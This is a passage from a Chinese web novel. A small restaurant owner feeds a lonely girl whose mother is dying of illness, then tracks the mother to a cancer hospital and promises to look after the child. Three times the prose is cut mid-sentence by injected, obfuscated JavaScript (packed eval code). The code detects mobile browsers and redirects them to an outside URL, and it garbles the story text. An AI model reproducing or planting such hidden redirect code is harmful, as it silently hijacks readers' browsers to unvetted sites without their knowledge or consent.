小姑娘吃得很慢，一口一口的，像是在品尝什么珍贵的东西。她先把面条挑起来吹凉，然后一小撮一小撮地吃，吃完了面再喝汤，喝一口停一下，喝一口停一下，像是在感受热汤从喉咙流到胃里的过程。她把汤也喝完了，碗底干干净净，一粒葱花都没剩。 “好吃吗？”房寨问。 小姑娘点了点头，然后忽然哭了。 不是那种大声的哭，是那种默默的流泪，眼泪一颗一颗地往下掉，砸在空碗里，发出很轻很轻的声音。她没出声，肩膀也没有抖，就是眼泪不停地流，像是拧开了的水龙头，关不上。 房寨慌了。他不太会哄小孩。从小到大跟小孩打交道的次数屈指可数，他连自己表妹都没怎么抱过，更别说哄一个在店里哭的小姑娘了。 “怎么了？不好吃？”他笨拙地问。 小姑娘摇了摇头，用手背擦眼泪，擦完又流出来了，根本擦不干净。 “我想妈妈了。” 房寨不知道该说什么了。他就在旁边坐着，等她哭完。小赵想过来帮忙，他摆了摆手，让小赵去忙别的。有些时候，小孩哭不需要人哄，只需要有人在旁边陪着就行。 小姑娘哭了一会儿，慢慢停了。她吸了吸鼻子，在椅子上坐直了，从书包里掏出一个皱巴巴的信封，递给房寨。 “这是我妈妈让我给你的。” 房寨接过信封，感觉手里轻飘飘的。信封很旧，折了好几次，边角都磨毛了，上面没有写字，空白的。他打开一看，里面是一封信。信纸也很旧，折痕很深，像是被人反复打开又折上过很多次。上面的字歪歪扭扭的，有的地方被水渍洇模糊了，但大部分还能看清。 “老板你好，我是这个小女孩的妈妈。我现在在医院，可能出不来了。我女儿很喜欢吃你做的面，她跟我说过好几次，说有一个叔叔做的面特别好吃，比外面所有店做的都好吃。我问她在哪家店，她说在城南，靠近翠屏路那边，有一个很小的店，叔叔人很好，面也很好吃。我走之前想让她再吃一次你做的面，但我去不了了，就让她自己去了。谢谢你给她做面。拜托你以后如果看到她，再给她做一碗。她叫小月。谢谢。” 房寨看完信，手有点抖。他把信纸折好，放回信封里，装进了自己的口袋。动作很慢，像是怕把信弄坏了。 他抬起头，看着那个叫小月的小姑娘。她正低着头，用手指在桌上画圈圈，一圈一圈的，很认真，像是在画什么很重要的东西。 “你妈妈叫什么名字？”房寨问。 “王丽。” “她在哪个医院？” 小月说了一个医院的名字，就在城南，不远，骑车过去大概二十分钟。 那天晚上关店之后，房寨没有直接回家。他把店里的东西收拾好，让小赵和周阿姨先走了。然后他煮了一碗排骨汤，用保温桶装好，又切了几块萝卜放进去，想了想，又加了两块排骨。 他骑上三轮车，去了那个医院。 到医院的时候已经快九点了。住院部的走廊很安静，灯很亮，白晃晃的，照得人眼睛不舒服。护士站的小护士正在低头写东西，听到脚步声抬起头来，看了他一眼。 “请问王丽在哪个病房？”房寨问。 小护士的表情变了一下，上下打量了他一遍：“你是她什么人？” “朋友。” 小护士犹豫了一下，告诉了他病房号，然后加了一句：“她情况不太好，你别待太久。” 房寨说了声谢谢，顺着走廊往里走。走廊很长，两边都是关着门的病房，门上的小窗透出微弱的光。有的房间里有人在说话，声音很低，听不清说什么。有的房间很安静，安静得像没有人一样。 他找到那个病房的时候，门开着。里面有三张床，两边的床都空着，被子叠得整整齐齐，中间的床上躺着一个人。 是个女人，瘦得不成样子。她的头发掉光了，头上包着一块花布巾，脸上的颧骨高高凸起，眼窝深深地凹下去，皮肤蜡黄蜡黄的，没有一丝血色。她的手上扎着针，管子连到床头的输液架上，药水一滴一滴地往下掉，很慢很慢。 房寨差点没认出来。但床头卡上写着名字——王丽，年龄三十二岁。 三十二岁。 他看着那张脸，怎么也没办法把一个三十二岁的女人和眼前这个人联系在一起。三十二岁，应该正是最有精神的年纪，应该每天忙着上班、带孩子、跟朋友逛街聊天。不应该躺在这里，瘦成这样，头发掉光，连抬手都费劲。 他走进去，把保温桶放在床头柜上。动作很轻，怕发出声音。 王丽慢慢睁开眼睛。她的眼神有点涣散，像是刚从很深很深的梦里醒过来，还不确定自己在哪里。她看着房寨，看了好几秒，嘴唇动了动，但没有发出声音。 “我是做面的。”房寨说，“你女儿今天来我店里了，我给她做了一碗面。这是排骨汤，给你的。” 王丽的眼睛慢慢亮了起来。那种变化很明显，像是有一盏灯在眼睛深处被点亮了，虽然光很微弱，但确实亮了。她之前看房寨的眼神是涣散的、没有焦点的，像在看一个模糊的影子。但听到“女儿”两个字之后，她的眼神忽然就有了焦点，直直地看着房寨，像是要把他的脸刻进脑子里。 “小月……”她的声音很轻，轻到几乎听不见，像是从很远很远的地方传过来的。 “她很好。”房寨说，“她把信给我了，我就来了。” 王丽想坐起来，但动了一下就没力气了，身体往上撑了一点点又摔回了枕头上。房寨赶紧按住她的肩膀。 “别动，你躺着就行。” 王丽躺回去了，眼睛还是看着房寨。 “汤我给你放这儿了，你想喝的时候让护士帮你热一下。”房寨说，“小月明天还会来我店里，我会给她做面，你放心。” 王丽笑了。那个笑容很小，嘴角只往上翘了一点点，但很真，不是那种礼貌性的、应付人的笑，是真的从心里面长出来的笑。她笑起来的时候，脸上那些凹陷和棱角好像都柔和了一些，看起来没那么吓人了。 “谢谢。”她说。 房寨站在那里，不知道该说什么。他不是会说话的人，在这种场合更不知道说什么。他想说“你一定会好起来的”，但看着王丽的样子，这句话怎么也说不出口。太假了，假到说出来就是在侮辱对方的智商。他想说“小月很乖，你放心”，但这句话也说不出口，因为人家怎么可能放心？ 最后他说了一句：“你女儿很乖。” 王丽又笑了，这次笑得大了一点。 “我知道。” 房寨从病房里出来的时候，在走廊里站了一会儿。走廊很长，灯很亮，白晃晃的，照得到处都亮，但走廊尽头是黑的，像是被什么东西切断了，光到那里就没了。有护士推着车从走廊那头走过来，轮子在地砖上滚动的声音很轻，咕噜咕噜的，越来越近，又越来越远。 他深吸了一口气，走了。 第二天，小月又来了。 她穿着和昨天一样的校服，背着那个旧书包，一个人站在店门口。书包带子一边长一边短，长的那边快掉到胳膊肘了，她也没调。这次她没有犹豫，直接走进来了，像是已经决定了什么。 “叔叔，我还想吃面。” 房寨给她做了一碗阳春面，这次多加了一个荷包蛋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511091|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用小火煎的，边缘焦脆，蛋黄还是溏心的。他把蛋摆在面条上面，像一个小太阳。 小月先把蛋吃了，用筷子小心地把蛋黄戳破，让蛋液流到面条上，拌了拌，然后才吃面。她吃面的样子比昨天自然了很多，没有那么小心翼翼了，大概是知道这里有人会给她吃的，不用怕。 最后喝汤，还是一滴不剩。 “你妈妈喝到汤了吗？”她问。 “喝到了。” “她说什么了吗？” “她说谢谢。” 小月低下头，又开始用手指在桌上画圈圈。这次画得很快，不像昨天那么慢，像是在画一个已经画过很多遍的东西。 房寨看着她，忽然问了一句：“小月，你爸爸呢？” 小月摇了摇头，没有抬头，继续画圈圈。 房寨没再问了。 从那天起，小月每天都来。中午来一次，放了学就来，有时候晚上也来。房寨每次都给她做面，有时候是阳春面，有时候是排骨面，有时候是炸酱面，有时候是牛肉面，换着花样做，怕她吃腻了。小月不挑食，什么都吃，每次都吃得干干净净，碗底比洗过的还干净。 他从来不收小月的钱。小月一开始还会把钱放在桌上，皱巴巴的零钱，五块的、一块的、五毛的，用一个小塑料袋装着，像是攒了很久。房寨不要，把钱装回她的书包里。她就收回去，但第二天又拿出来，反反复复好几天，后来才不拿了。但每次来都会说一声“叔叔我来了”，然后就坐在固定的那张椅子上等着，靠墙的那张，她说那张椅子能看到厨房。 周阿姨看到小月，心疼得不行。她自己的孙子跟小月差不多大，每天放学都是她去接，接完了还要带去上兴趣班，学钢琴学画画学英语，忙得不得了。看到小月一个人来店里，没人接没人管，还要自己找吃的，周阿姨眼眶就红了。 她经常从家里带零食来给小月。小饼干、小蛋糕、牛奶、水果，装在保鲜盒里，塞到小月的书包里。小月不吃，说留着给妈妈吃。周阿姨听了，鼻子一酸，转身去厨房洗了好久的脸，水龙头开得很大，水声哗哗的，遮住了她的声音。 小赵对小月也很好。他大学学的是酒店管理，但数学不错，教小月写作业绰绰有余。小月的数学不太好，尤其是应用题，总是读不懂题目。小赵就一道题一道题地讲，用最笨的办法，画图、举例子、反反复复地讲，讲到她听懂为止。有时候一道题讲半个小时，小月还是不懂，小赵也不急，换个方法再讲。 店里的客人都认识小月了。她每天固定时间出现，坐在固定位置上，吃一碗面，然后写作业，等房寨忙完了再跟他说几句话，然后背着书包走。客人看久了，就觉得这个小孩好像是店里的一部分，像那张靠墙的椅子一样自然。 有人会给她带小礼物。一个发卡，粉色的，上面有一朵小花。一本图画书，讲一只小熊找妈妈的故事。一盒彩笔，二十四色的，包装盒上写着“无毒安全”。一个布娃娃，旧旧的，但洗得很干净，眼睛是蓝色的，很亮。 小月都收着，整整齐齐地放在书包里，说要带回去给妈妈看。她说妈妈最喜欢看她画画了，她要画一幅画送给妈妈。 房寨看着她把这些东西一样样装进书包，书包越来越鼓，拉链都快拉不上了。他想说“你书包太重了”，但没说出口。那些东西对她来说不是重量，是宝贝。 房寨看着小月，常常想起自己小时候。 他小时候也是这样的。一个人，没有爸爸。妈妈在外面打工，一年回来一次，有时候过年都不回来，说路费太贵了。他跟奶奶住，奶奶对他好，给他做饭洗衣服，冬天给他暖被窝，夏天给他扇扇子。但他总觉得少了点什么。 他说不上来少了什么。 但现在看到小月，他知道了。 少的是安全感。那种“不管发生什么，都有人接着我”的安全感。那种“天塌下来有人顶着”的安全感。那种“我不是一个人”的安全感。 他有奶奶，奶奶对他很好。但奶奶老了，需要他照顾，而不是他照顾他。他从很小就知道，不能让奶奶操心，不能让奶奶担心，要好好学习，要听话，要懂事。他做到了，但做到这些的代价是，他从来没有真正放松过。 他不知道小月是不是也是这样。 但他想，应该差不多。 房寨不知道自己能不能给小月这种安全感。他只是一个开小饭馆的，没有什么本事，也没有什么钱，连自己的房贷都还没还完。但他想试试。 至少，他能保证小月每天有一碗热面吃。 这就够了。 23.第 23 章 十月中旬下了一场大雨。 雨是从凌晨开始下的，房寨早上起来的时候，窗外还在哗哗地下。城中村的巷子变成了小河，水漫过了脚踝，他穿着拖鞋趟水出去，水冰凉冰凉的，凉意从脚底板一直蹿到头顶。巷子里的垃圾被水冲得到处都是，塑料袋、废纸、空瓶子，漂浮在浑浊的水面上，看着就让人心烦。 到了店里，发现屋顶在漏水。 水滴从天花板上渗下来，一滴一滴地落在餐桌上，蓝色的格子桌布湿了一大片，水渍洇开来，像一朵灰色的花。房寨把桌布揭下来拧干，找了个脸盆放在漏水的地方接水，水滴打在脸盆底部，叮叮当当的，声音在空荡荡的店里响了一整天。他又找了两个桶，放在另外两个漏水的位置，一个是墙角，一个是厨房门口。 他爬上梯子看了看屋顶，天花板有一道裂缝，大概手指那么宽，水就是从那里渗进来的。裂缝周围的墙皮已经泡得起泡了，用手一碰就掉下来，露出里面灰色的水泥。他不懂修屋顶，打电话给房东，房东说知道了，但一直没来。 房寨没办法，只能先这么撑着。 雨下了一整天，从早下到晚，没停过。街上没什么人，店里的生意冷清得可怕。整个上午只来了三个客人，一个是躲雨的快递员，点了一碗牛肉面，吃了半个小时，雨小了才走。一个是住在附近的阿姨，打着伞来买了两份煲仔饭打包，说家里孙子饿了，哭着要吃饭。还有一个是个年轻男人，浑身湿透了，进来的时候水顺着裤腿往下流，在地上汇成一小滩。房寨给他拿了一条干毛巾，又倒了一杯热水。他喝了热水，暖和过来了，点了一份排骨面，吃完走的时候说了一句“老板你人真好”。 房寨站在门口，看着雨水从屋檐上流下来，像一道水帘，把店里和外面隔成了两个世界。店里面干燥温暖，灯光昏黄，灶台上的汤咕嘟咕嘟地冒着热气。店外面大雨滂沱，天灰蒙蒙的，街上一个人都没有，只有雨声，哗哗的，盖住了一切。 他忽然想起了王丽。 距离上次去医院已经快两周了。他一直没有再去，不是不想去，是不敢去。他不知道去了该说什么，不知道王丽的情况怎么样了，不知道该用什么样的表情面对她。他怕看到她更瘦了，更虚弱了，眼睛里的光更暗了。他怕自己去了也帮不上什么忙，反而添乱。 但他知道小月每天都来，每天都在固定的时间坐在那张椅子上，吃一碗面，写作业，然后回家。她的书包越来越鼓了，里面装满了各种东西。课本、作业本、彩笔、图画书、发卡、布娃娃，还有周阿姨给的零食。她把所有东西都装在书包里，走到哪背到哪，像是怕放在哪里会丢一样。 房寨问她书包重不重，她说不重。但他拎过一次，至少有十斤。一个七八岁的小姑娘，每天背着十斤的书包走那么远的路，怎么能不重？但她说出口的是“不重”，不知道是不想让房寨担心，还是真的觉得不重。 他想再去看一次王丽。 下午雨小了一些，从暴雨变成了小雨，淅淅沥沥的，打在屋顶上沙沙响。店里依然没什么客人，房寨让小赵和周阿姨先回去了，他一个人守着店。他炖了一锅新的排骨汤，加了山药和红枣，想着病人喝这个好，补气养胃，比光喝排骨汤有营养。山药削皮的时候滑溜溜的，差点切到手。红枣去核，切成小块，这样煮的时候味道更容易出来。 汤炖好的时候，他把保温桶装满，又用保鲜袋装了几块小周阿姨给的点心，放在保温桶旁边。然后他在门口挂了个“临时外出”的牌子，骑上三轮车去了医院。 路上雨又大了，雨点打在脸上，凉飕飕的，眼睛都睁不开。路上的积水很深，三轮车的轮子在水里滚过，溅起一片水花，裤腿湿了大半，贴在腿上又湿又冷。但他没停下来，蹬着车继续往前骑。 到了医院，他把车停在楼下，抱着保温桶跑进住院部。 王丽的病房门关着。 房寨站在门口，犹豫了一下，敲了敲门。没有回应。他又敲了一下，还是没有回应。他轻轻推开门，往里看了一眼。 三张床，两张空的，中间那张也是空的。被子叠得整整齐齐，枕头摆在被子上面，床头柜上什么都没有，干干净净的，像是从来没有人住过。 房寨愣住了。 他抱着保温桶站在门口，不知道站了多久。走廊里有护士推着车经过，看到他就问了一句：“你找谁？” “王丽。” 护士看了他一眼，表情变了一下，和上次一样。那个表情房寨看懂了，他见过太多次了。 “她前天转院了。”护士说。 “转去哪了？” 护士摇了摇头，表示不知道。她低下头继续写东西，笔尖在纸上发出沙沙的声音，和窗外的雨声混在一起。 房寨站在原地，保温桶抱在怀里，越来越沉。汤还是热的，隔着桶壁能感觉到温度，暖着手心。但王丽已经不在了。转院了。去了哪里，没人知道。小月知道吗？她妈妈转院了，她知不知道？她一个人住，谁来照顾她？ 他想起了那封信。 “我现在在医院，可能出不来了。” 可能出不来了。 房寨站在走廊里，头顶的灯白晃晃的，照得他眼睛疼。走廊很长，尽头是黑的，和上次一样。灯很亮，但照不到尽头。他抱着保温桶站了很久，久到怀里汤的热度慢慢退了，桶壁变得温温的，不再烫手了。 他转身走了。 回到店里的时候，雨还在下。门口挂着的“临时外出”牌子被风吹歪了，“临时”两个字朝下，“外出”两个字朝上，看着有点滑稽。 他把保温桶放在桌上，没有打开。汤还是温的，但他没有胃口喝。他坐在靠窗的位置上，看着窗外的雨发呆。 雨打在玻璃上，一条一条地往下流，像眼泪。街上偶尔有车开过，车灯在水洼里反射出一片光，然后很快又暗了。 他想了很多事情。想王丽，想小月，想那封信。想王丽写那封信的时候是什么心情，一笔一笔地写下那些字，知道自己可能看不到了。想小月一个人走那么远的路来店里，书包里装着给妈妈看的东西，但妈妈已经转院了，不知道去哪了。想小月今天晚上吃什么，明天早上吃什么，有没有人给她做饭，有没有人送她上学。 他又想起自己小时候。奶奶住院的时候，他一个人在家，自己做饭，自己洗衣服，自己上学。他会做蛋炒饭，就是把米饭和鸡蛋混在一起炒熟，放点盐，有时候放多了咸得要命，但还是要吃完，因为不吃就饿。那时候他想，要是有人能给他做一顿饭就好了，不用好吃，热的就行。 现在他是那个做饭的人了。 但小月不需要他做饭，小月需要的是别的。是需要一个人告诉她晚上住哪，是需要一个人告诉她明天怎么办，是需要一个人告诉她——你不是一个人。 房寨给阿坤打了个电话。 “坤哥，你知道怎么找一个人吗？” “什么人？” “一个病人，从医院转院了，我不知道转哪去了。” 电话那头沉默了一会儿。阿坤说：“你给我所有信息，我来想办法。” 房寨把王丽的名字、年龄、大概的病情、之前住的医院，全都告诉了阿坤。阿坤说行，他去打听。 挂了电话之后，房寨坐在店里，等。 雨还在下，没有要停的意思。天色越来越暗，才下午四点，已经像傍晚了。店里的灯开着，橘黄色的光照在蓝色的格子桌布上，把整个屋子照得暖暖的。灶台上的汤还在咕嘟咕嘟地响，但没有人来喝了。 傍晚的时候，小月来了。 她打着伞，但雨太大了，她的校服湿了一大片，裤腿全湿了，鞋子也进了水，走起路来嘎吱嘎吱响。但她还是来了，和每天一样，没有因为下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513371|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨就不来。 她走进来的时候，房寨正在厨房里发呆。小月坐在她的椅子上，把书包放在旁边，然后用纸巾擦脸上的雨水，擦了好几张，纸巾湿透了揉成一团扔进垃圾桶。 “叔叔，今天吃什么面？”她问。 房寨看着她的脸。她不知道。她还不知道妈妈转院了。她以为妈妈还在那个病房里，以为每天去医院能看到妈妈，以为妈妈会好起来。 “今天吃排骨面。”房寨说。 “好。” 房寨回到厨房，给她做了一碗排骨面。这次他加了很多料，排骨、山药、红枣、枸杞，汤炖得浓浓的，白白的，像牛奶一样。面煮得软一些，小月吃起来方便。出锅的时候撒了一把葱花，绿绿的，很好看。 他把面端给小月的时候，犹豫了一下，问了一句：“小月，你今天去医院了吗？” 小月摇了摇头，筷子停在半空中。 “雨太大了，没去。” 房寨松了一口气。至少今天不用面对那个空荡荡的病房和那张叠得整整齐齐的床。但他知道瞒不了多久。小月迟早会知道妈妈转院了，迟早会面对那个空荡荡的房间。 他回到厨房，靠在墙上，听着外面小月吃面的声音。 吸溜，吸溜，吸溜。 吃得很香。 那天下了一整天的雨，到晚上九点多才停。雨停之后，空气变得很清新，有一股泥土和树叶的味道。房寨把店里的东西收拾好，关了灯，锁了门。三轮车的座垫湿透了，他找了一个塑料袋垫在上面才坐上去。骑回去的路上，路面上全是积水，车轮碾过去，水花四溅。路灯倒映在水洼里，一晃一晃的，像是水里有另一个世界。 回到城中村，巷子里积水还没退，他趟水走过去，水凉得刺骨。小橘猫蹲在楼道口，浑身湿透了，毛贴在身上，瘦得像一只老鼠。看到房寨来了，它站起来抖了抖身上的水，冲他叫了一声，声音很小，有气无力的。 房寨蹲下来摸了摸它的头，猫的脑袋冰凉冰凉的，耳朵往后贴着头皮。他上楼拿了一条干毛巾下来，把猫裹住擦了擦。猫没躲，老老实实地让他擦。擦完之后他把猫抱上了楼，放在屋里。猫在屋里转了一圈，闻了闻每个角落，然后跳上椅子，蜷成一团，闭上眼睛。 房寨洗了个澡，躺在床上，翻开手机。阿坤发来一条消息：“打听到了，她转去了市肿瘤医院，在城北。我明天陪你去。” 房寨看着这条消息，心里一块石头落了地。 至少找到了。 至少小月还能去看妈妈。 至少，事情还没到最坏的地步。 他回复了一个字：“好。” 然后关了灯。屋里很安静，只有猫在椅子上打呼噜的声音，咕噜咕噜的，很轻很轻。窗外的雨虽然停了，但屋檐上还在滴水，滴答滴答的，像是某种古老的计时器。 房寨闭上眼睛，脑子里还是王丽的病房。 空荡荡的床，叠得整整齐齐的被子。 他想起那封信里最后那句话。 “她叫小月。谢谢。” 两个“谢”字，一个在前面，一个在后面。前面那个“谢”是因为那碗面，后面那个“谢”是因为什么呢？是因为以后可能还要麻烦他，是因为知道自己照顾不了小月了，是因为把最放心不下的人托付给了一个陌生人。 房寨翻了个身，把被子拉到肩膀。 被子很暖，猫的呼噜声很安稳。 他想，明天去医院，一定要找到王丽。告诉她小月很好，每天都来店里吃面，每天都吃得很干净，每天都有很多人给她带礼物。告诉她小月的书包里装满了要给妈妈看的东西，一幅画、一个发卡、一本图画书、一个蓝眼睛的布娃娃。告诉她小月很乖，很懂事，从来不闹，从来不哭，每天吃完饭会说谢谢，每天走的时候会说叔叔再见。 告诉她，放心。 24.第 24 章 阿坤第二天一早就来了。 他骑着他的小电驴，穿着一件深蓝色的冲锋衣，头发被风吹得竖起来，像一只刺猬。房寨刚把店门打开，正在搬桌椅，阿坤就风风火火地冲进来了，手里拎着一袋包子和两杯豆浆。 “先吃早饭，吃完去。”阿坤把袋子往桌上一放，包子还是热的，冒着白气。 房寨没客气，拿了一个包子咬了一口。猪肉大葱馅的，肉很多，汁水足，一咬就流出来了。他吃了两个包子，喝了大半杯豆浆，胃里暖洋洋的。 阿坤吃得快，三两口一个包子，一杯豆浆几口就没了。吃完抹了抹嘴，从口袋里掏出一张纸条，上面写着一个地址。 “市肿瘤医院，住院部三楼，血液科。”阿坤说，“我托医院的熟人查的，她转过去之后住在那边。” 房寨看着那张纸条，心里踏实了一些。昨天下午那种悬在半空的感觉终于落了地。至少知道她在哪了，至少不用再猜了，至少今天去了能看到她。 他把店里的东西简单收拾了一下。汤炖上了，让周阿姨来了之后帮忙看着火。小赵中午来上班，菜单上的东西他都会做，煲仔饭可能火候掌握不太好，但炒河粉和面没问题。房寨把需要做的事情写在一张纸上，贴在厨房的墙上，怕他们忘了。 “中午可能人多，你们忙不过来就先别接煲仔饭的订单，就说老板不在，今天不卖煲仔饭。”房寨跟小赵交代了一句。 小赵说知道了，让他放心去。 九点多，房寨和阿坤骑着车出发了。阿坤的小电驴带不了两个人，房寨骑着自己的三轮车，阿坤骑电驴跟在旁边。两辆车一前一后，穿过城南的大街小巷，往城北的方向去。 天阴着，但没有下雨。云层很低，灰蒙蒙的，压在高楼顶上，像是随时会掉下来。风很大，吹得路边的树哗哗响，黄叶被风卷起来，在空中打着旋，又落回地面。 城北和城南不一样。城南是老城区，房子矮，街道窄，人多车多，到处都是烟火气。城北是新城区，马路宽，楼高，人少，冷冷清清的，连风都更大一些。路上的车开得很快，从他们身边呼啸而过，带起一阵风。 骑了四十多分钟，到了医院。 市肿瘤医院比之前那家大很多，有好几栋楼，最高的那栋有十几层。楼外面是灰白色的瓷砖，看起来很新，但大门口的花坛里种的花已经谢了，剩下干枯的枝干，在风里摇来摇去。院子里停满了车，车位全满，有人在停车场绕了好几圈都找不到位置。 房寨把三轮车停在医院外面的路边，用锁锁好。阿坤的电驴停在旁边，两辆车挨在一起，像两个相依为命的人。 住院部在三号楼，要穿过一个长长的走廊才能到。走廊是露天的，风从两头灌进来，吹得人浑身发冷。走廊两边的墙上贴着各种健康宣传画，有教人怎么预防感冒的，有教人怎么控制血压的，有教人怎么戒烟戒酒的。画已经旧了，边角翘起来，被风吹得啪啪响。 进了住院部大楼，里面暖和多了。暖气开得很足，热烘烘的，让人想脱外套。大厅里有不少人，有的坐在椅子上等，有的在窗口办手续，有的推着轮椅走来走去。空气中弥漫着消毒水的味道，刺鼻又熟悉，和之前那家医院一样，哪家医院都是这个味道。 电梯很慢，等了好一会儿才下来。里面已经有几个人了，一个坐着轮椅的老太太，一个抱着孩子的年轻爸爸，还有一个穿着白大褂的医生。三个人挤在电梯里，房寨和阿坤进去之后就更挤了，阿坤的胳膊肘都快顶到医生的后背了。 三楼。电梯门开了，走廊很安静，和之前那家医院差不多。地板是浅灰色的，擦得很亮，能照出人影来。墙上挂着一些画，不是什么名画，就是一些风景照，山啊水啊花啊草啊的，大概是用来让病人心情好一些的。 护士站的小护士抬起头看了他们一眼，问找谁。阿坤说了王丽的名字，小护士查了一下，指了方向：“往前走，走到头右转，倒数第二间。” 房寨顺着她指的方向走。走廊很长，两边都是病房，门关着，只能听到里面隐隐约约的说话声。有的房间里有人在笑，笑声不大，但在安静的走廊里听得很清楚。有的房间很安静，什么声音都没有。有的房间门开着一条缝，能看到病床的一角和吊在床头的输液瓶。 倒数第二间。门关着。 房寨站在门口，深吸了一口气。阿坤站在他身后，没说话，只是拍了拍他的肩膀。那一下拍得很轻，但房寨觉得很有力量，像是有人在告诉他——不管里面什么样，你都不是一个人。 他敲了敲门。 “进来。”是个女人的声音，不是王丽的，是另一个人的。 房寨推开门。 房间不大，两张床。靠窗的那张床上躺着一个老太太，头发全白了，脸上全是皱纹，正在看手机，手机声音开得很大，放的是短视频，一个男人在讲笑话，老太太看得很开心，时不时笑一下。靠门的那张床上，躺着王丽。 她比上次更瘦了。 房寨几乎认不出她来。上次见的时候她还能睁开眼睛，还能说话，还能笑。这次她闭着眼睛，脸色灰白，嘴唇干裂起皮，头发全没了，头上包着的那块花布巾也换成了医院的白帽子。被子盖到胸口，露出来的手臂细得像一根树枝，皮肤几乎是透明的，能看到下面的青色血管。 床头柜上放着一个水杯、一包纸巾、一瓶没喝完的矿泉水。水杯是粉色的，上面印着一只小猫，大概是以前用的，旧了，杯口的漆都磨掉了。 房寨站在门口，手里还拎着保温桶。阿坤在后面轻轻推了他一下，他才迈步走进去。 他把保温桶放在床头柜上，动作很轻，怕吵醒她。但王丽还是醒了。她慢慢睁开眼睛，眼神很涣散，和上次一样，像隔着一层雾看人。她看了房寨一眼，又闭上了。过了几秒，又睁开了，这次眼神清明了一些，像是在努力聚焦。 “是我。”房寨说，“做面的。” 王丽的眼睛亮了一下。 那种光很微弱，像是一根火柴在黑暗中划亮了一瞬间，但房寨看到了。那种光他见过一次，上次来的时候也见过。那是王丽听到“女儿”两个字时的光，是他这辈子见过的最亮的光，也是最让人心酸的光。 “小月……”她的声音比上次还轻，轻到几乎是气声，不用力听根本听不清。 “小月很好。”房寨说，“她每天都来店里，每天都吃一碗面。昨天吃了排骨面，吃了一大碗，汤都喝完了。” 王丽的嘴角微微动了一下，不知道是想笑还是想说什么。 “她长胖了一点。”房寨说，“周阿姨每天都给她带零食，她不吃，说要留给妈妈。小赵教她写作业，她的数学进步了，上次小测验考了七十多分。” 王丽的眼睛湿了。没有流下来，就是湿了，眼眶里有一层水光，在灯光下闪了一下。她眨了眨眼，水光就没了。 “她画了一幅画，说要送给妈妈。”房寨从口袋里掏出一张折好的纸，打开，是一幅画。彩笔画，颜色很鲜艳，线条歪歪扭扭的，但能看出来画的是两个人，一大一小，手拉着手。大的那个人穿着裙子，头发很长，笑着。小的那个人扎着两个小辫子，也笑着。画的右下角歪歪扭扭地写着几个字：我和妈妈。 房寨把画举到王丽面前。王丽看着那幅画，看了很久。她的手指动了一下，像是想伸手去摸，但手抬不起来。 “好看吗？”房寨问。 王丽点了点头，动作很轻很轻，不仔细看几乎看不出来。但房寨看到了，他一直在看她的脸，怕错过任何一个表情。 房间里有短暂的沉默。隔壁床的老太太已经把短视频关掉了，大概是不想打扰他们。房间里很安静，只有暖气片里水流的声音，咕噜咕噜的，很轻。 “王丽。”房寨叫了一声她的名字。 王丽看着他。 “小月我会照顾的。”房寨说，“你不用操心。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516322|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这句话说出口之后，他自己都愣了一下。他没想过要说这句话，来之前没想过，在路上也没想过，但在病房里站了这几分钟之后，这句话就自己从嘴里跑出来了。不是他想说的，是这句话本身想被说出来。 王丽看着他，看了好几秒。她的嘴唇动了动，像是想说什么。第一次没发出声音，她又试了一次，这次发出了一点声音，很轻很轻，但房寨听到了。 “谢谢。”她说。 又是谢谢。 和信上写的一样。 房寨想说“不用谢”，但觉得太轻了，说了等于没说。他张了张嘴，最后只说了一句：“你放心。” 王丽又笑了。这次的笑和上次不一样，上次是嘴角微微翘起来，这次是整张脸都在笑。虽然她瘦得已经没什么肉了，但那种笑是从心里往外溢出来的，能让人看到。 阿坤在门口站了一会儿，把空间留给房寨和王丽。他靠在走廊的墙上，掏出手机看了几眼，又揣回了口袋。他听到病房里传出来的声音不大，但很清晰。他认识房寨这么久，从摆摊的时候就认识了，从来没听房寨用那种语气说过话。不是温柔，是坚定，是那种“我说到做到”的坚定。 他知道房寨这个人，说出来的话一定会做到。 房寨在病房里待了大概半个小时。他给王丽倒了一杯水，用棉签蘸了水擦了擦她的嘴唇，嘴唇太干了，干得裂了好几道口子，有些口子还渗着血丝。他把保温桶里的汤倒出来一碗，用勺子喂了她几口。王丽喝得很慢，一口要咽很久，但她喝了，喝了小半碗。 “小月明天还会来店里。”房寨把碗收了，“你好好养着，等她来看你。” 王丽点了点头，这次动作比之前大了一些，点头的幅度能看出来了。 房寨站起来，把保温桶盖上，把那幅画折好，放在王丽的枕头边上，就在她的脸旁边，她一转头就能看到。 “我走了。”房寨说。 王丽看着他的脸，嘴唇动了动。 “你叫什么名字？”她问。 房寨愣了一下。他来了两次，做了面，送了汤，说了那么多话，但一直没有告诉她自己的名字。 